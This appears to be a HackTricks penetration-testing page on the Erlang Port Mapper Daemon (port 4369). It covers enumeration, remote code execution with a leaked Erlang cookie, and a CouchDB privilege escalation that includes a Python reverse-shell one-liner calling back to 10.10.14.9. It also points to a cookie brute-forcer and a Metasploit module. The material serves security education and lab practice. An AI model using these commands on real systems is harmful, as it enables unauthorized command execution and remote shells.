DΛΣMӨП

// HackTricks · Network Services

4369 Pentesting Erlang Port Mapper Daemon (epmd)

4369 Pentesting Erlang Port Mapper Daemon (epmd)

Basic Info

The Erlang Port Mapper Daemon (epmd) maps distributed Erlang node names to the TCP ports on which those nodes accept distribution connections. It does not map names to machine addresses and does not itself provide a remote shell.[4]

Default port: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

This is used by default on RabbitMQ and CouchDB installations.

Enumeration

Manual

The commands below use Erlang/OTP; official builds and source releases are available from the Erlang project.[6]

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

# Install Erlang/OTP from your distribution or the official downloads page
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automatic

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Remote Connection

If an exposed distribution node accepts a leaked Erlang cookie, the holder can authenticate as a peer and may invoke powerful RPC functions, often leading to command execution with the node’s OS privileges. The default user cookie is normally stored in ~/.erlang.cookie; current runtimes generate a 20-character cookie when creating the file, but operators can set a different value or location.[1][5]

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

More information in https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/[1]
The author also share a program to brutforce the cookie:

Epmd Bf 0.1.Tar.Bz2

Local Connection

In this case we are going to abuse CouchDB to escalate privileges locally:[2]

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Example taken from https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution[3]
You can use Canape HTB machine to practice how to exploit this vuln.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"

References